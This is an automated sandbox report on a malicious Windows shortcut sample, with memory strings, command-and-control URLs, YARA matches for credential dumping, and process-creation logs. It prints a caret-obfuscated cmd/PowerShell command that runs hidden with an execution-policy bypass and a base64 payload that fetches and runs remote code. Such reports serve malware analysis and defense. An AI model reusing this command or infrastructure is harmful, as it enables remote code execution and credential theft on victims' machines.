            Source: svchost.exe, 00000010.00000003.1417225414.000001A40CA30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418539502.000001A40CA42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
            Source: svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
            Source: svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
            Source: svchost.exe, 00000010.00000003.1416124973.000001A40CA6C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418765351.000001A40CA6E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t0.tiles.ditu.live.com/tiles/gen
            Source: svchost.exe, 00000010.00000002.1418647286.000001A40CA57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=
            Source: powershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E700385000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E70176A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com
            Source: powershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/0D0D
            Source: svczHost.exe, 00000016.00000002.2311893794.000001B16F087000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/StaticFile/RdpService/52h
            Source: svczHost.exe, 00000016.00000002.2311893794.000001B16F045000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/StaticFile/TermServiceTryRun/89
            Source: powershell.exe, 00000002.00000002.1205833353.0000023515038000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/d751
            Source: powershell.exe, 00000002.00000002.1205833353.0000023515038000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de
            Source: powershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E70176A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637a
            Source: powershell.exe, 00000002.00000002.1205833353.0000023513ABF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118357cd045
            Source: powershell.exe, 00000002.00000002.1205833353.0000023513ABF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe7
            Source: powershell.exe, 00000002.00000002.1205833353.0000023513DA4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431f
            Source: powershell.exe, 00000002.00000002.1205833353.0000023515038000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file
            Source: powershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f38
            Source: powershell.exe, 00000002.00000002.1205833353.0000023513ABF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file2/4016291bd0b568a2329d057f2773c3f0dcf11b755849528166abe12488d80aa403
            Source: powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file2/609d9cea234e5378795585296b27efeeddf7175dbfe1b91fa9a42e14acce5033e0
            Source: powershell.exe, 0000000B.00000002.1444809039.000001E70022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E700001000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a199
            Source: powershell.exe, 00000002.00000002.1205833353.0000023513DA4000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file2/b285c70467c8f6e4afebc6cdcfcbd06a500aad1b2ba0a5d0d5efe5748efcbdd6f4
            Source: powershell.exe, 00000002.00000002.1205833353.0000023513ABF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1205833353.0000023513D53000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file2/fe7793a4d4f50afb2b9eff7b92c52fd9fbe576bd3354e4af2684905ca7d26a1664
            Source: powershell.exe, 00000002.00000002.1205833353.0000023513ABF000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/file3/dd472caab8e99b4f3ecbbaed5468be96d4b65113c81a5ba828b859d3431071726b
            Source: svczHost.exe, 00000016.00000002.2311893794.000001B16F069000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://uyt1n8ded9fb380.com/rdp/init
            Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
            Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
            Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
            Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
            Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
            Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
            Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
            Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
            Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
            Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
            Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
            Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49708 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49716 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49718 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 104.21.86.219:443 -> 192.168.11.20:49734 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.11.20:49743 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.11.20:49744 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 185.199.110.133:443 -> 192.168.11.20:49744 version: TLS 1.2

            Spam, unwanted Advertisements and Ransom Demands

            barindex
            Reads the Security eventlog
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\myRdpService
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\RdpService
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
            Reads the System eventlog
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\myRdpService
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
            Source: C:\Windows\Temp\myRdpService.exeKey opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 4YgQ2xN41W.lnk, type: SAMPLEMatched rule: Detects powershell keyword obfuscated with carets Author: Florian Roth
            Source: amsi64_7900.amsi.csv, type: OTHERMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
            Source: 47.2.myRdpService.exe.7ff64a920000.0.unpack, type: UNPACKEDPEMatched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
            Source: 0000002F.00000002.2315535899.00007FF64AE26000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
            Source: Process Memory Space: powershell.exe PID: 7764, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
            Source: Process Memory Space: powershell.exe PID: 7900, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
            Source: Process Memory Space: svczHost.exe PID: 9528, type: MEMORYSTRMatched rule: creddump is a python tool to extract credentials and secrets from Windows registry hives. Author: @mimeframe
            Powershell drops PE file
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\Temp\svczHost.exeJump to dropped file
            Uses regedit.exe to modify the Windows registry
            Source: C:\Windows\Temp\myRdpService.exeProcess created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
            Source: C:\Windows\System32\svchost.exeFile created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE
            Source: C:\Windows\Temp\rdp.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\rdpwrap[1].ini
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile deleted: C:\Windows\Temp\fileJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057AFF722_2_00007FFC057AFF72
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057AF1C62_2_00007FFC057AF1C6
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057B68052_2_00007FFC057B6805
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057B0EF02_2_00007FFC057B0EF0
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 2_2_00007FFC057B13A82_2_00007FFC057B13A8
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 7_2_00007FFC057D112D7_2_00007FFC057D112D
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC05799DF811_2_00007FFC05799DF8
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057A569011_2_00007FFC057A5690
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC057951DA11_2_00007FFC057951DA
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 11_2_00007FFC05869FD111_2_00007FFC05869FD1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 26_2_00007FFC057A77A626_2_00007FFC057A77A6
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 26_2_00007FFC057A855226_2_00007FFC057A8552
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFC0579713030_2_00007FFC05797130
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 30_2_00007FFC0579BB6930_2_00007FFC0579BB69
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (GUI) Intel 80386, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (GUI) x86-64, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (GUI) x86-64, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (console) Intel 80386, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (DLL) (console) x86-64, for MS Windows
            Source: rdp.exe.22.drStatic PE information: Number of sections : 11 > 10
            Source: svczHost.exe.11.drStatic PE information: Resource name: RT_VERSION type: MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 3691
            Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 3644
            Source: C:\Windows\Temp\svczHost.exeProcess created: Commandline size = 2904
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: Commandline size = 3691Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: Commandline size = 3644Jump to behavior
            Source: C:\Windows\Temp\svczHost.exeProcess created: Commandline size = 2904
            Source: 4YgQ2xN41W.lnk, type: SAMPLEMatched rule: SUSP_PowerShell_Caret_Obfuscation_2 date = 2019-07-20, author = Florian Roth, description = Detects powershell keyword obfuscated with carets, reference = Internal Research
            Source: amsi64_7900.amsi.csv, type: OTHERMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
            Source: 47.2.myRdpService.exe.7ff64a920000.0.unpack, type: UNPACKEDPEMatched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
            Source: 0000002F.00000002.2315535899.00007FF64AE26000.00000004.00000001.01000000.0000000C.sdmp, type: MEMORYMatched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
            Source: Process Memory Space: powershell.exe PID: 7764, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
            Source: Process Memory Space: powershell.exe PID: 7900, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
            Source: Process Memory Space: svczHost.exe PID: 9528, type: MEMORYSTRMatched rule: hacktool_windows_moyix_creddump author = @mimeframe, description = creddump is a python tool to extract credentials and secrets from Windows registry hives., reference = https://github.com/moyix/creddump
            Source: classification engineClassification label: mal100.spre.troj.expl.evad.winLNK@94/62@2/5
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheJump to behavior
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7732:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4304:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5552:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8268:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:9516:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7676:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6416:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8348:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1536:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1536:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:808:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4304:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1432:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3476:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:5552:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:1432:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7732:120:WilError_03
            Source: C:\Windows\Temp\myRdpService.exeMutant created: \BaseNamedObjects\Global\netfxeventlog.1.0
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8276:304:WilStaging_02
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3256:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8464:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:9516:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8644:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:7676:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:808:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3476:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2032:304:WilStaging_02
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: \Sessions\1\BaseNamedObjects\STARTUAC
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:3256:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4764:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8276:120:WilError_03
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8464:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8348:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:4764:304:WilStaging_02
            Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:8644:120:WilError_03
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zfigybry.csx.ps1Jump to behavior
            Source: C:\Windows\Temp\rdp.exeKey opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales
            Source: C:\Windows\Temp\rdp.exeKey opened: HKEY_USERS.DEFAULT\Software\Borland\Delphi\Locales
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\systeminfo.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
            Source: C:\Windows\System32\conhost.exeFile read: C:\Users\desktop.iniJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CAJump to behavior
            Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "s^T^AR^T /m^I^n "" P^O^wers^h^E^l^L -w h^I^dde^N -nO^l^OgO -noP -eP By^pA^SS -EN^CoD^eDCoM^m^and "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="" && exit
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwershElL -w hIddeN -nOlOgO -noP -eP BypASS -ENCoDeDCoMmand "SQBFAFgAIAAoAFsAVABlAFgAVAAuAEUATgBDAG8ARABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBFAFQAUwBUAHIAaQBuAGcAKAAoAGkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5ADEAZQBYAFEAeABiAGoAaABrAFoAVwBRADUAWgBtAEkAegBPAEQAQQB1AFkAMgA5AHQATAB6AEIARQBNAEUAUQA9ACIAKQApACkAKQAuAEMATwBOAHQAZQBuAHQAKQApAA=="
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ybpc4wl1\ybpc4wl1.cmdline"
            Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1AAD.tmp" "c:\Users\user\AppData\Local\Temp\ybpc4wl1\CSC6A692CC47F2F404EAC3A66596F569951.TMP"
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
